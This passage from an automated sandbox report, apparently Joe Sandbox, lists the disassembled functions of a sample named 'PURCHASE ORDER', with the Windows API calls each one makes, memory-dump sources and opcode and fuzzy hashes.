                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePost$KeyboardState$Parent
                                                                          • String ID:
                                                                          • API String ID: 87235514-0
                                                                          • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                          • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                          • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                          • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                          Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                          • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                          • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                          • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                          Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ConnectRegistry_wcslen
                                                                          • String ID: HH
                                                                          • API String ID: 535477410-2761332787
                                                                          • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                          • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                          • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                          • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                          Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00457C34
                                                                          • _memset.LIBCMT ref: 00457CE8
                                                                          • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                          • String ID: <$@
                                                                          • API String ID: 1325244542-1426351568
                                                                          • Opcode ID: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                          • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                          • Opcode Fuzzy Hash: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                          • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                          Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                          • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                          • __wsplitpath.LIBCMT ref: 004737E1
                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                          • _wcscat.LIBCMT ref: 004737F6
                                                                          • __wcsicoll.LIBCMT ref: 00473818
                                                                          • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                          • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                          • String ID:
                                                                          • API String ID: 2547909840-0
                                                                          • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                          • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                          • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                          • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                          Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                          • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                          • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                          • String ID:
                                                                          • API String ID: 2354583917-0
                                                                          • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                          • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                          • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                          • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                          Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                          • GetMenu.USER32 ref: 004776AA
                                                                          • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                          • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                          • _wcslen.LIBCMT ref: 0047771A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$CountItemStringWindow_wcslen
                                                                          • String ID:
                                                                          • API String ID: 1823500076-0
                                                                          • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                          • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                          • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                          • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                          Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                          • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Enable$Show$MessageMoveSend
                                                                          • String ID:
                                                                          • API String ID: 896007046-0
                                                                          • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                          • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                          • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                          • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                          Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                          • SendMessageW.USER32(00A31A70,000000F1,00000000,00000000), ref: 004414C6
                                                                          • SendMessageW.USER32(00A31A70,000000F1,00000001,00000000), ref: 004414F1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$LongWindow
                                                                          • String ID:
                                                                          • API String ID: 312131281-0
                                                                          • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                          • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                          • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                          • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                          Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 004484C4
                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                          • IsMenu.USER32(?), ref: 0044857B
                                                                          • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                          • DrawMenuBar.USER32 ref: 004485E4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Item$DrawInfoInsert_memset
                                                                          • String ID: 0
                                                                          • API String ID: 3866635326-4108050209
                                                                          • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                          • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                          • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                          • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                          Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                          • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                          • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Interlocked$DecrementIncrement$Sleep
                                                                          • String ID: 0vH
                                                                          • API String ID: 327565842-3662162768
                                                                          • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                          • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                          • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                          • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                          Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                          • GetFocus.USER32 ref: 00448B1C
                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Enable$Show$FocusMessageSend
                                                                          • String ID:
                                                                          • API String ID: 3429747543-0
                                                                          • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                          • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                          • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                          • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                          Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • _memset.LIBCMT ref: 00401C62
                                                                          • _wcsncpy.LIBCMT ref: 00401CA1
                                                                          • _wcscpy.LIBCMT ref: 00401CBD
                                                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                          • String ID: Line:
                                                                          • API String ID: 1620655955-1585850449
                                                                          • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                          • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                          • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                          • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                          Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                          • __swprintf.LIBCMT ref: 0045D3CC
                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$InformationVolume__swprintf
                                                                          • String ID: %lu$HH
                                                                          • API String ID: 3164766367-3924996404
                                                                          • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                          • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                          • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                          • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                          Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                          • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                          • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                          • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: Msctls_Progress32
                                                                          • API String ID: 3850602802-3636473452
                                                                          • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                          • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                          • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                          • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                          Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                          • __calloc_crt.LIBCMT ref: 00415743
                                                                          • __getptd.LIBCMT ref: 00415750
                                                                          • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                          • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                          • __dosmaperr.LIBCMT ref: 004157A9
